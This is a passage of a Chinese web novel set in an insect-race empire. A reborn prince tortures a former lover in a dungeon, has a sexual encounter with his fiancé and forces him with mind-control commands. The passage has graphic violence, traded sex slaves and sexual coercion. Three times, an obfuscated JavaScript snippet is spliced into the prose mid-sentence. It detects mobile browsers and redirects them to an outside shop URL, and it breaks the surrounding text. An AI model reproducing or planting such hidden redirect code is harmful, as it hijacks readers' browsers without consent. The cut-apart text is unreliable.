少校、中校、上校,再到少将,晋升速度飞快,之后找准机会再转军从政,前途无量,未来可期。 罗斯·奥托如自己祖父期望般地,一直过着其他雌虫最为羡慕的优渥生活。 有慈爱强大的长者遮风避雨,有貌美温柔的雄虫可供选择。 没有匹配压力,不被规矩约束,自由自在地驰骋飞扬,享尽灿烂阳光与惬意海风。 “这话听着耳熟。” 奥托低笑,目光在我身上一掠,又转向我之前打量的方向。 地灯映出灌木丛隐约轮廓,细听还有虫鸟低鸣。 “虫生短暂,总不能一直这样下去。忽然就想靠自己的双手,抓住点什么,或者,留下点什么。” 说“抓住”一词时,他又瞥向我,眼底晦暗不明。 “……帝国媒体很乐观,认为有萨提洛斯少将,便十拿九稳。我承认他很强,但却是太小瞧了普兰巴图。” “战略战术制定和分析,是我强项。雅里布他们的决策是有些不够果决,但战略上没有失误。是敌方比我们预估的还要棘手数十倍。” “这场战争,处理不好,会对帝国有超乎寻常的重大影响。” “换句话说,我们正站在历史拐点。” “如此具有宿命意义的大事件,我岂能夹着尾巴逃跑?说不定也能一战成名,拿满荣誉勋章,那样也有足够资格,正式追求殿下。” 奥托朝我挑眉,半开玩笑道。 “我见过那些报告。普兰巴图一族,除了拥有超强的生理机能,以及与生俱来的杀戮本能外,还可以通过神经队列共享集体意识,实现宛如一体的高度协调,和我们祖先的虫巢意识很像。” 我无视他的调侃,转而论述起普兰巴图一族的基本特性。 “论生理机能和杀戮本能,我们也不好惹。” 奥托双手抱胸,狡黠一笑,显出几分洋洋自得。 “……那寄生呢?” 我低头垂眼,轻声道。 “!” 奥托身子有一瞬间的僵硬。若非我一直盯着他,定会错过。 雌虫装傻:“殿下在说什么?” “那些机密信息我都知道。”我语气淡然,“所有。你不必装傻。我今晚过来,就是想当同你聊聊。” “雅里布可是身经百战的S级战将。其他七八位指挥官,有些或许比不上当年,但仍是数一数二的战斗好手。前后不过几天,就全都战亡了?骗骗民众还可以,想瞒得滴水不漏,根本是天方夜谭。” “真相就是:他们自相残杀了一半,剩余一半,被裁判所解决了。” “原因?” 我直直看向奥托。 “你耗了大力气打探到的消息,是说雅里布被普兰巴图生命体寄生后发狂而死。但过程如何、寄生途径、辨别方法等有用信息,你一无所知。” “你想知道的一切,我都可以告诉你。” “当然,我有条件。” 一时无声。奥托沉默。 这次时间稍长,待他再开口时,声音沉闷:“你想让我做什么? * 我站在门外,向里看去。 床头一团暖光亮着,宽敞的四柱大床上,侧躺着一条黑影。外套不知丢在哪里,衬衫解了大半,露出一截麦色紧实腰腹。 动也不动。 看来还在睡。 我放轻脚步,合上门扇。 旁边一个亚雌侍从,等待许久,见我过来,躬身将手中银盘托举至我面前。 “莱伊殿下吩咐,当面交予您。” 是一串泛着锈迹的黄铜钥匙。 亚雌碎步在前,引着我在走廊里穿梭,穿过半个庭院,走下陈旧的石梯,来到一处隐秘的大门前。 大门开着一条小缝。进入后,通道变得极窄,灯光晦暗,墙壁凹凸不平,很浓的霉味。 侍从停步,抬起手臂朝一侧示意,随后躬身行礼退去。 我迈步向前。很快,我便知道钥匙要用在何处。 前面约有数十个圆形合金小门,门上有小窗,可以打开。 只有前三个门边,亮着灯。 凑上前看了看,因为太过有趣且在意料之内,不由笑出声来。 第一扇门后,是一张奢华大床。 两个穿着暴露的身影跪在床脚。 脑袋两侧有毛茸茸的尖耳自头发里冒出,还有一条同样毛茸茸的粗大尾巴,自臀部垂落在侧。 异种半兽人。 被虫族征服的偏远星原住了民,雌雄同体。 因这新奇的耳朵尾巴,半兽人被疯狂贩卖至各文明当玩物。 近五十年被星际联盟立法禁止,经历了几波严查严打后才稍有好转。 现在一只成年健康的半兽人,可要价不菲。 为了哄阿尔托利开心,莱伊可是大出血啊。 第二扇门和第一扇门里布置的差不多。床,裸着的肉|体。 不同区别在于他们都是虫族雌性,数量多了一些。 第三扇门后,很空旷。 就着角落一点点灯光,仔细打量,能看到一个身影,被锁链扣在墙上。 是一只雌虫。 蒙着双眼,戴着颈环,穿着又薄又紧的皮裤和皮衣,艰难地跪着。 在他旁边,泛着金属冷光的是一排置物架。置物架上分门别类,工具齐全。 我打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14414498|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这扇门,缓步走进。 “……殿下?是您吗?” 嘶哑干涸的嗓音,似乎好几天都没喝水。 呢喃出声的话语,小心翼翼,满是卑微。 “……属下,一直在等您……” 科尔·舒尔希颤抖着仰头:“只要您能原谅我,属下做什么都愿意。” 我不发一语,挑出一根鞭子,移到眼前。确认好它的材质足够让人满意后,我扬手一甩。 “啪”的一声脆响,鞭子袭上科尔侧腰。雌虫身子蓦地僵直,随即发出一声哀嚎! 送上门的报仇机会,当然是要好好尽兴! 感谢莱伊。 ………… ………… 昏暗的地牢,压抑的痛哼,灼热的空气,以及满手的血。 待我回过神时,眼前的雌虫已经出气比进气多了。 他垂着头,肩膀向上被拉到最大限度,明晃晃的粗大锁链被体重坠直,上身和下-身,破烂的皮革和交错的鞭痕混杂难辨,翻着血肉,向下滴滴答答地淌血。 阿尔托利不是嗜血之徒。他讨厌脏污,也并不喜欢听虫哀嚎。 科尔和莱伊合计此计划时,一定没料到会弄到如此血腥。 却倒方便了我。 过去半月,噩梦几乎从不离开。 套路很是相似,愉快的前半段,以及急转直下,被掐死、被砍伤、被穿胸、被溺死,死法多变,将我记忆中亲眼见过的来了个遍。 恨,是一种什么样的情感? 阴暗、潮湿、冰冷,像蛇爬过咽喉肠胃一样恶心,又同时如烈火灼心,被超出感知范围煎烤、撕裂,每一个细胞都在尖叫、哀嚎。 简单地要了科尔和莱伊的命,太轻松,太仁慈了。 拿起鞭子前,我在终端上定了倒计时闹钟。 时间一到,手腕持续不断地震颤,将我从头晕目眩的世界里拉回。 我才能僵硬着松开手指,任粘腻无比的鞭柄从手心滑落,大口喘气、心跳如擂。 科尔超出寻常的惨叫,早引来了侍从,候在门外。我朝那边招手,黑影迟疑着上前,抖得仿佛筛子。 "殿下……” “一桶冷水,让他清醒。” 一桶没用。三桶,浑身上下湿透的雌虫才有了点微弱动静。 我在他面前蹲下,解开他手腕上的锁链,用手指撩开他垂下的棕色额发。 科尔掀开肿胀的眼皮,努力看我。 我将手中杯子递到他口边:“深度恢复剂。” 雌虫凑过来,一接触到杯子边缘,立刻像放生的鱼,大口大口贪婪地汲取。 “今天晚上,我是和西恩一起过来的。” 待他喝完,仰靠在墙上喘气,我开口说道:“如你所知,我们的婚约定于十六年前,他是我的未婚夫。除了西恩·萨提洛斯,我不会有其他雌君。” “阿尔托利!” 科尔蓦地坐直身子,刚刚还仿佛一具死尸,现在已变作异化的僵尸,浑身战栗、眼神凶狠地朝我吼道。 “我对你一片真心,你玩腻了,就要这么扔掉我?你说过的誓言、答应过我的事情,都是在骗我吗?!” 一句吼完,科尔捂着胸口,痛苦地跪在地上,剧烈地咳嗽。血水从他身下漫出,鲜红浓郁。 “我拒绝过你……拒绝过你……”含糊哽咽的声音从雌虫喉间漫出,绝望、悲哀,“可你那么坚持……让我有了期待……” 14.入梦 我听着科尔的告白,心口泛出一种奇异的酸楚。 是二十一岁的阿尔托利吗?还是不久前的那个我? 将十五年后的罪行,惩罚于十五年前的雌虫身上,是否有失公平? 可公平本身,就是个虚无的概念。 要论公平,阿尔托利的付出的真情和健康,西恩多年来的磨难与屈辱,老师、兄长的份,又该由谁来清算?拿什么来清算?! 我默然不语,直到科尔逐渐消声,蜷缩在阴影之中,兀自瞪着一双蒙着雾气的双眼,像绝望的野兽等待命运的决断。 “西恩·萨提洛斯……他再怎么不好,也改变不了他的公爵继承虫身份。他是金字塔尖的S级,统领军团、有无数忠心耿耿的属下、是未来威震三界的大人物。” “你呢,科尔·舒尔希。和我在一起,你终其一生,都摆脱不了我的阴影。公众会将你视作吸血软饭虫,鄙夷你的出身,厌恶你的存在。萨提洛斯家和兄长,也总能找到各种办法,让你意外离世。” “到时,你会比现在更恨我。我不想我们之间,变成那样。” 这些不是可能,而是必然会发生的事实。 我相信他有段时间是真的爱过我,否则阿尔托利不可能像迷失方向的蝴蝶,被他捕捉入局。 但虫性是最不可测的深渊。贪婪和感恩就在一念之间。 十五年,哪怕是最微小的种芽,遇到合适的土壤水源,也会长成截然不同的苍天大树,动则伤筋动骨,面目全非。 这个科尔·舒尔西,若沿着既定轨道前行,终会变成那个科尔·舒尔西。 “……我给你机会。” “脱离我的光芒,开辟自己道路的机会。” “如果你愿意,养好身体后,联系拉格。” 我缓缓站起、转身,离开那间地牢,沿着黑暗寂静的通道往光明处走。 再有意识时,我已经回到主建筑物。 走廊尽头,有一扇门的门底透出微弱的火光。间或有叮叮当当一下下开合打火机的声音随着夜风飘来。 我来到门前,才发现自己忘了换衣。长袍上飞溅着血点,还有我冷掉的汗水,仿佛一层昆虫褪下的硬壳,扎着新生的嫩肉,刺痛却安全。 这个时候再去沐浴也来不及了。因为门里的雌虫已看到了我。 “玩得开心?” 打火机的火苗映着西恩的脸。他倚在床头,双腿交叠,腰后的软枕柔柔垫着。 见我推门,他悠然地点燃了夹在指缝中的烟,又缓缓吐出烟圈,宽阔的胸膛随着呼吸上下起伏。 我刚想否定,眼角余光被一件东西引去注意。 是亮着屏幕的便携平板,在椅旁的小几上。 我伸手拿起。 画面里,是刚刚那间地牢,地上仍可看见反光的血水、散落的锁链和用过的长鞭,只是这副场景的主角已消失不见。 “你从哪里开始看的?” 我走到床边坐下,将烟灰缸递到他面前,颇有兴趣地打量他的动作。 记忆中西恩很少在我面前吸烟。因为阿尔托利的嗅觉非常卓越,且讨厌很多气味(自己抽烟不算其中)。 往往一句“你出汗了”的随口抱怨,都会促使西恩再晚、再累也会一骨碌爬起冲澡。 火光下的英俊面孔,既熟悉、又陌生。 火星在他指尖闪动,浓烟从薄唇中呼出,一向锋锐犀利的长眸微微眯起,似乎极为享受、放松。 好像一只皮毛油光水滑、身姿矫健英武的黑色猎豹,正懒洋洋地梳理自己的毛发,让人有种想要伸手、撸动它腮帮脖颈,让它彻底瘫倒、露出柔软肚皮的冲动。 “睡得正香,被惨叫声惊醒。还以为怎么了。” 西恩将烟衔到嘴角,挺腰、在空中舒展双臂,又卸力落回软垫,双手在脑后交叠靠住。 “……莱伊肯定没料到,自己文文弱弱的小叔叔,凶起来居然这么暴力。” “真吓虫。”他嗤笑一声。 “有原因的。” 我倾身,将手挂到他脖颈上,埋头吻他的头发。 粗硬的黑发被他揉得一团乱,好像从没变过的洗发水和沐浴露香味,混着他的信息素,是名为“西恩”的所在。 “本质上,我还是只柔弱的雄子,寄希望于少将阁下的保护。” 我咕哝道。 这动作做得太发自本能,待我察觉另一具躯体的僵硬紧绷时,我已经就势揽住了他的腰。 雌虫纹丝不动,却也不做反抗,我便当没察觉,抬头亲吻他的侧颈。 湿湿黏黏的吻,刻意将口水抹上,间或用牙齿轻咬,汲取藏于表皮下的信息素。 “他……做了无论如何我都无法原谅的事。” “那是惩戒。无法还得清,也永远还不清。但我不能一直活在仇恨怨憎里。” “我还有更重要的事要去做。更多……虫,去保护……” 极轻的声音,接近于自言自语。 我闭上眼睛,假装怀中的这具躯体,不属于二十九岁的年轻军雌,而是四十四岁的西恩·萨提洛斯。 如果是他,我只用说两三句,或哪怕闭口不言,他也能理解我的心情。 他会捧起我的脸,认真看着我,手贴着我的头发,拇指抚过我的眉骨,我便可顺势合上眼睛,任他温热的指腹滑过我的眼睑。 他会将我往他怀中揽,然后落下亲吻。 吻我的肩背,从脖颈吻至肩膀、手臂,再到手背与指尖,着魔一样的重复,像膜拜崇拜的神明、又像眷恋的珍藏宝物。 如果是他,我可以摘下面具,肆意发泄情绪。 我可以撕开他的衬衫,露出宽阔的肩骨、温热的肌肉,再将利齿咬入。 如果是他,会将头埋在我肩上沉沉喘息。 不论我怎么唤他名字,他只回一道鼻音,眼皮掀也不掀。 可若是我用下巴蹭一蹭他,他便会旋起嘴角,扯我的头发,捏我的肩骨,一边呻-吟一边低骂“小混蛋”。 不知何时,我听到雌虫深吸了一口气。随后,我的整颗脑袋埋进雌虫的胸膛。不再是我单方面的贴近圈进,另多了一条胳膊,紧紧环在我的腰间收紧,温暖、有力。 温热的鼻息流上我的脖颈。雌虫顺着我脑后的头发,不快不慢、带着一种独有的稳定节奏。 “……说出来不要嘲笑我……西恩。” 我闭着眼睛呢喃,含糊的声音大概只回响在我自己的意识里。 “……我很想你……” “却从来都没梦到过你…你,是生气了吧?你明明提醒过我,劝过我,骂过我……” “哈哈,我却从来都不听……” “我不怪你。” 一个暗哑、低沉的声音响起,“从没有。” 一个湿热的吻落在眼角,舔掉那里流下的泪。随即下滑,吻到鼻尖,再卷上唇舌,细细舔着下唇处被我咬烂的细小伤口,像野生动物舔舐安慰受惊的幼崽,细致、耐心且充满怜爱。 是梦吗? 我在雌虫怀中颤抖,没有睁眼,心中默默希冀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14421257|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其持续的再久一点、再久一点。 我不敢动弹,怕手伸出,空空如也,梦碎影破。 头晕脑胀中,吻势忽然变得汹涌,舌头钻入我的口腔,缠住舌尖便不放开。 “阿尔托利。” “阿尔托利。” “阿尔托利……” 雌虫哑着嗓音叫我。一声一声,像在呼唤不存在于此的存在。那只手环上我的肩,钻进长袍领子中,在我腰背上游走。 空气忽然热了起来,呼吸变得急促,连带着心口也一片乱哄哄的燥热。 我微微睁眼,恍惚间,那团暖热的躯体离我而去,再一定睛,发现雌虫已滑下床铺,跪在我的面前。 摇曳的火光中,雌虫弯下腰,将我下袍撩起。我的呼吸蓦地凝固,下意识后退,又被一只手拦住。 下腹一热,西恩已将他的唇贴了上来。 ………… ………… 我舒服得一塌糊涂。 好像已经很久没有做过这种事。 缓滞的意识间隙,一个念头刚刚浮现,另一个念头便跟上确认。 确实是好久。 绵延病榻的那段日子,每日最大的心愿就是可以下床走走; 稍微能挪动两步后,又想去有阳光、开了海棠花的院子里散步。 在之后,稍微想过,如果康复,要做什么。 最小的愿望是驱使自己健康的四肢,每日晨跑或快步行走,尽情享受脚踏实地的感觉; 稍微大胆点的,是可以辞退所有护工,像只正常雄子,靠自己能力工作上班、过着普通生活。 最最奢侈的,是再抱一抱西恩。 那会他每次回来,总是一脸欲求不满,作为他的雄主,我深感愧疚。 我已没了权势、地位,对身边的虫毫无价值,就连唯一还能让他们用上的那处,也因药物原因,并不总是好使。 和科尔的□□往往无疾而终。后来一月一月,连亲吻都少有。 只有西恩一直一直、一直一直,从不会体恤我,任性地要求。 我觉得他将那事当做了一件很有挑战的任务。 几天不见后,第一件事,就是要脱我裤子,偏偏我病弱体虚,打也打不过、拦也拦不住。 只能抱着被子滚来滚去东躲西藏,气得西恩拳头咯吱响,骂我怂货软骨头。 骂就骂吧。 脸皮厚得堪比城墙,毫无心理负担。 后来不知怎么的,达成一种默契—— 限定时间内,只要他能唤起,那就做。 办不到,则放我清净,不可强买强卖。 于是每次都是这样开始。 他跪下来,不说话,目光之热切,如同饿狼。 然后,他像领域内最高超的技术专家,用具有魔法的舌头和嘴巴,给我治疗。 小阿尔特别给他面子,总是没一会,就高涨着给予回应。 这时雌虫会笑得志得意满,湿漉漉的嘴巴咧开,露出那两颗小虎牙。 梦境和现实混淆。 我试图将他推离:“西恩……” 下一秒,他不退反进。 他发出窒息般的声音,却仍执着地前进,像一场侵略与征服,不到彻底战败那一刻,绝不放弃、绝不后退。 ……… 之后我有些脱力,躺在那里软绵绵地任他动作。 如果说这是梦,那感觉也太真了。 可如果这是现实…… 拿捏不准,我不知该如何继续。 15.一个可能 倾斜的视野里,雌虫缓缓站起,黑发湿粘,嘴角和面颊都有污迹。一双长眸绿意盎然,像热带茂盛密集的雨林,被白雾弥漫缠绕。 他扯着衬衫仅余的两颗纽扣,两声几不可闻的轻响,满是褶皱的汗湿布料已被他丢到脚下。 冷峻锋利的下颌线,脖颈下锋直的锁骨,两侧胳膊与宽肩勾勒出起伏流畅的肌肉曲线,并不光滑细腻的皮肤,在灯光下泛着蜜色光泽,数条浅色伤疤横亘四处,每一道都和一场凶险的战斗挂连。 他依样解了西裤。只穿一条短裤朝我走来。 我打量雌虫全身,腰腿肌肉紧实,比穿衣瞧着更具力量。滴答汗水从他下颌流过锁骨,蔓过胸肌之间的凹谷,最后消失于腹肌的缝隙里。 不太像往常的梦境…… 我暗想,眼前黑影闪过,来者一个大步上床,从背后将我搂入。 “……睡吧,阿尔托利。” 西恩在我耳边低道,温热的胸膛贴着我的背,而我的肩胛骨则紧挨他的心脏。 有力的心跳交相呼应,信息素悄无声息地弥漫,让全身每一个毛孔都放松下来。 思维开始迟钝,意识也逐渐模糊。 眼睫垂落前,被遗忘的疑问再次冒出心头。 那听到的回应,是我脑中的臆想,还是真实存在过的? ……一定要向他问个清楚…… 我沉沉地睡了过去,彻底陷入宁静安心的黑暗。 ………… ………… 我睁开眼。 思维清晰敏捷,浑身舒畅温暖,好像一整晚都躺在柔软的云朵上。晨光透过纱帘朦朦胧胧地照进来,头顶是装潢得华丽繁复的天花板。 我从被窝中伸出手,刚要拉铃,唤来侍从洗漱,却猛然觉得哪里不对。 ——西恩呢? 我回头在床上寻找。手臂伸出去摸索。宽大床铺上一览无余,除了我自己,哪还有第二只虫? “拉格!拉格!” 我朝门外喊,很快,脚步匆匆传来,拉格一脸着急:“殿下?怎么了?” “西恩在哪?我们是一起睡的。” 这时我已经在卧室内转了一圈,确定没有虫藏在任何地方。 “呃……”我的措辞让拉格神色复杂。他顿了顿才答:“昨晚您不胜酒力,萨提洛斯少将亲自将您送回,便回自己住处了。” “那会几点?” “凌晨两点多。”拉格露出回忆的神情,又看了我一眼,“因为没有接到消息,还以为您要在莱伊殿下那边留宿,哈勒他们都去睡了。” 我迫切地想知道昨夜与西恩相关的所有信息,用来完成我内心的拼图。所以我继续追问: “西恩有没有哪里很奇怪?或者你注意到的任何小事。一句话,一个动作都行。” “那可太多了。”拉格说。我心口猛地一跳,就听他继续道,“之前,少将虽然是您未婚夫,但感觉和您并不是很熟,距离感很强,对我们侍从也总是冷着脸,看着很可怕。” “但昨晚……少将是将您抱到卧室的,呃,就是您最讨厌的那种公主抱。而且还在里面待了很久。” “他、他没对您做什么无理之事吧?!” 拉格说着说着,突然开始激动,一把拉住我的手:“没、没趁机……” 不知在脑补什么东西,他脸上万般悔恨、内疚快速闪过,整只虫眼看就在崩溃边缘。 我翻了个大大白眼。 我素来沉稳能干的第一侍从,居然被一个想象吓成这样。 是否说明了潜意识觉得我是谁都能随便近身并欺负的软脚虾? 我将他赶了出去。 我和莱伊同为雄子,在他那睡一晚上无关紧要。 为什么还要大费周章半夜折腾,将我送回寝殿?而无语的是,我真的睡死过去,毫无所觉,就这样被虫搬来搬去,随便毁灭证据。 我低下头,那件染血的长袍不见了,身上是我自己的干净内杉。 你可以说是我多想了。也许就是雌虫想让我睡得更舒服才多此一举。 但直觉告诉我,他就是为了让我无法场景重现、无法百分百确定才出此下策,完全断绝我想借物找回更多记忆细节的可能。 一整个早上,我都被那个念头占据。 晨跑多跑了2公里、直到膝盖开始发疼才发觉。早饭只喝了咖啡,面包一口都咽不下。 拉格给我复述今日日程安排,也没听进一个字,只记得他嘴巴动来动去,动了好久。 我的坐立难安终止于西恩发来的简讯。 【临时有事,训练改到晚餐前。】 言简意赅,没有小学生般的威胁词句,看不出任何情绪。 如果安德烈·卡洛斯昨晚说的“酒量不好”是事实,那推迟训练很自然——没虫喜欢在宿醉的第二天还去训练场里哐哐锤虫或被锤。 但如果是那只靠酗酒度过低潮、早就将内脏练得百毒不侵的雌虫呢?这是发觉露馅所以暂时拉开距离以作筹谋对策? 随后的时间里,我主持了我的慈善基金委员会会议。 因为少言冷脸,全场氛围冻结,导致会议十分丝滑流畅,不该有的废话一句都无,效率大幅提升。 心情回升一点。工作虫都在会议结束、离席时,得到了我的友善微笑。 “接下来还有个采访……” 我被引导至另一个方向。 终于,指针走到了我和西恩约定的时间。 我带着哈勒前往近战训练场。 哈勒一路碎念不停,仔细听听,大多是后悔着没拉其他侍从一起过来壮胆陪伴的自言自语。 今天的训练场安静的近乎坟墓。 我走进入口,绕过空旷的大厅,矮身钻进侧门通道,走了又一段后,拐进一个长方形的石室。 石室摆着休息的沙发桌椅,两边墙上,各有两扇厚重大门,通往高等级雌虫用的单独训练室。 训练室可以设置各种场景地形,也附带传送功能,可通向数个安全的小行星训练地。 “阿尔托利!” 出现了意想不到的虫,是贝卓。他从某扇门里钻出来,仿佛看到救星:“你来帮我劝劝萨提洛斯少将!” “?” “祝祷仪式前圣廷会对所有将领的身体状况做一次检查,精神域是重点。少将阁下却三番五次拒绝助祭们的探查请求。我再三说明,他都不予配合,实在是……” 能让主教亲自出动、来训练场找人,可见西恩干的有多绝。 “西恩大概是不习惯吧?”我为雌虫解释,“这么多年,他的精神域只有我进入过。其他雄虫的探查,一只手都数的出来。不是他不通融,他只是不喜欢风险。” “我明白……但……” 贝卓刚才的激动慢慢消散:“圣座特定叮嘱的。此次出征非同寻常,我们需要完全掌握高级将领们的精神域状况,以完善祝祷仪式。萨提洛斯少将有婚约在身,可以理解,但基础探查在合法合理范围,只要记录在案也没问题。” 贝卓一向很守规矩,是阿尔托利的对照组。 更别说,在贝卓眼里,老师的命令是高于一切的NO1。只要教宗说要做什么,他就会竭力达成、从不质疑。 我叹了口气,将刚才话里的意思挑明:“我来做基础探查。需要填的报告表格,你发我。什么时间要?” “!”贝卓终于转过弯来,眼睛忽地亮起,“对哦!你就是萨提洛斯少将的未婚雄主,你来做没有任何问题!!” “因为你老是和那个棕头发的在一起,我就总对不上号……” “…………” 贝卓,我理解你的脸盲。 但后面这多出来的一句,不说也不会死的。 背后冷飕飕的,我转头,正对上穿着黑色紧身无袖背心的雌虫没什么温度的打量。 “…………” “…………” “…………” 面面相觑三秒钟后,贝卓落荒而逃:“那就拜托你了,阿尔托利!” “迟到了十分钟。” 黑发雌虫瞥我一眼,径直向训练室内走去:“丑话在前,我可没答应让你进我精神域。” “可我已经进去过了。”我跟在他后面,门在后面缓缓关上,盖住了哈勒的身影。 “那是意外,别想故技重施!”咬牙切齿。 “是实力。”我一边反驳一边解外袍盘扣,“再来几次,我都可以。” “我不明白的是,基础探查,无痛无痒,快的话半小时就能结束。你为什么拒绝?” 我按下墙上按钮,将长袍叠好放进滑出的收纳盒,同时顺手也将西恩的外套叠了一起塞进去。 再抬头时,正对上雌虫的打量。 他的目光客观冷静、毫无温度,像是在衡量物品的价值,值得自己支付多少星币。 我心下一惊。 这目光可以说是西恩·萨提洛斯的专属,被星网不喜欢他的虫描述为“目空一切”“高高在上”。 我印象中已经很久没有看到,但按时间推算,二十一岁的阿尔托利现在应也是受害者之一。 被我撞个正着,雌虫很是从容地收回视线:“我已向圣廷提供了上个月的检查报告,里面应有的信息一应俱全。” “我看不出重复作业的必要。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14437421|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是想隐瞒你的精神域异状?”只有这一个答案。 可我已经知道,这就代表必要时,老师也会知道。 我上次进去,西恩的精神图景里虽然有点雾霾,但总体还行。 如果是经验不丰富的助祭,他随便遮掩一下,“有狂化发展征兆”的诊断甚至都不会出现。 既然如此,更说不通了。 他如此强硬,只有一个可能—— “你精神域有大问题。”我脱口而出,“你上次瞒过了我,这次却没有把握。” “因为……问题恶化了。” 西恩的脸蓦地就冷了下来:“别咒我。” “——给我看。” 我上前一步,逼近他,眼神坚决:“现在、马上。” “哼!” 雌虫嗤笑,不屑一顾,转身迈步,“别废话,开始练习吧。如果殿下以为我会对你放水,那你就大错特错了。” “西恩!” 我表情阴沉下来,见他仍不回头,我只能分出一丝精神力,开口—— 【站住。】 高大的背影滞了一下,迈出的脚挣扎着、艰难向前,似乎在和无形的巨大引力做斗争,却在下一秒无力落败,重重砸落地板。 重生之后,我的圣言之力增长最为显著。 我没有重新测过,但西恩的反应就是最好证据。 一般而言,雄子的圣言只对比自己综合等级低或同级的雌虫有用。 理论上高于自己等级的对象,95%的情况都不行。 像我如今的A,跨越A+、S两级去成功“支配”一只军雌,只有“意外”和“例外”两种可能。 意外—— 趁雌虫极度疲惫、伤重、精神域不稳、心理极度动荡时抓准时机。 例外—— 雌虫有主动服从意愿、且无明显抗拒意图。 多为治疗契约或者精神能量互相匹配时发生。 西恩觉得我在钻这个空子。 但实则,经过上次验证,再来几次结果都会完全一致。 圣言,和精神力高低直接相关,但另有一个重要影响因素,即,相信。 圣廷教义,圣言之力是宇宙主宰分赐给雄虫的礼物。 无须求索,只一念,便可主宰万物。 小到花开花落,大到婚姻事业,再到国家命运,都可运用。 只要你足够相信,一朵花可瞬间开放,一段感情能破镜重圆,记忆被改变,虫生被重塑。 且难易程度,没什么区别。 因为在宇宙里,这些东西,本质上都是能量的集合体。 既然同为能量,便无大小、难易之分,都受宇宙主宰支配,被圣言之力管辖。 只要你相信,你所说出的一切,都可化为现实。 听着很玄乎,但过来虫告诉你们,都是真的。 只是相信一词,说和做,两者却有巨大天堑不可跨越。 总结一下,我能用圣言“支配”西恩,不是我精神力总量突飞猛进有质的飞跃(是有但没到两个等级),只是因为我“相信”—— 我的圣言,很强。 这种认知,萌生于幼时,发展于青少年,在我最落魄的时候,它支撑我的度过难关。 时至今日,它已内化为一种与呼吸同在的信念。 我不必对西恩解释,只要用事实,即可让他心悦诚服。 【过来。】 一声令下,雌虫像被操控的机械,僵硬但完美地执行。 他转身、迈步,每步的距离、动作都精准地仿佛被尺子量过。 当他停在我半步之遥时,我抬手摸了摸他的头发。 【乖孩子。】 一声压抑含糊的呻-吟从雌虫嘴中发出。 我不由低笑。 比起西恩的臭脸毒嘴,他的身体格外的敏-感坦诚,如此反差,不论看多久都不会腻。 连带着被杀虫般的目光凌虐也不过小事一桩。 “昨天晚上,你占我便宜。” 我委屈地回看回去,低声控诉,手从雌虫头发转移到后颈。 【别动。】 雌虫鼓起的肌肉瞬间平复。 我的手顺着西恩的脖颈向两侧肩胛抚摸,手指情不自禁探进勒紧的背心肩带,在那里摸到了凸起的筋膜和跳动的血管。 “定金而已。” 西恩垂着眼睫,神情冷峻,却偏偏耳根正有浅红向外蔓延,“婚约的事,我还在考虑,你却广而告之。如此先斩后奏,总得给点好处。” “昨夜我有些醉……记得有在你面前自言自语,有说什么吗?” 16.圣言之力 “不记得了。”西恩摇头,回答的不假思索。 我眯眼看他,手指继续,不是向前,而是向下。 西恩今日穿的训练服比军服更合身,甚至因为太合身,而显得有些紧。 他穿着一双黑色军靴,一双腿笔直而修长,暗金色的战术腰带,紧束着雌虫挺直的腰,勾勒出明显的倒三角。 再往上,是黑色的工型制式背心,吸汗耐磨的同时又十分柔软,使得胸肌轮廓和紧致的腹部线条清晰可见。一条银色短链坠着长椭圆形军牌,落在背心的领口上。 我拉起军牌,凑到眼前。 军牌第一行,刻印姓氏萨提洛斯。 第二行,是西恩的首字母缩写。 第三行,性别、血型及精神力能量属性, 第四行,是他的服役八位数字编码,和代表特殊作战部队的内部缩写。 最后一行,镂空的双环勾连在一起,底下一行小字,刻着“罗森克洛伊”。 这代表他是我的未婚配偶和所属物。 如果我们完成法律手续,镂空的双环会变成实心。 你看。这个帝国的所有制度、所有文化,都将西恩·萨提洛斯和我绑在一起。 以前我感到厌烦,如今我为此赞叹。 我松开军牌。银链在空中荡起弧度,复贴上雌虫脖颈。 下一秒,精神力化作半透明小刀,刺啦一声,割断背心肩带,散成淡紫色碎末消失。 几乎同时,西恩背肌一紧,呼吸声猛然变沉,后颈烧成酡红! 【有说什么吗?】 朝雌虫威压过去的精神力,比之前的所有总和相加,都来的强硬粗暴。 我能感受到,西恩的精神海正在猛烈波动,一波又一波的狂风巨浪,从里而外不断冲击着他的精神防线。 “…………” 雌虫呼吸变得艰难。短短几秒内,耳颊红色尽褪,冷汗涔涔而下。 【回答我。】 我盯着西恩,逼问着答案。 “……去、去……死……”西恩咬牙闭眼,身侧的手紧攥成拳。 拒绝雄虫的圣言,对雌虫来说非常痛苦,对我来说也不好受。 他的反抗比我想的更为坚决。 但现在放弃,还为时过早。 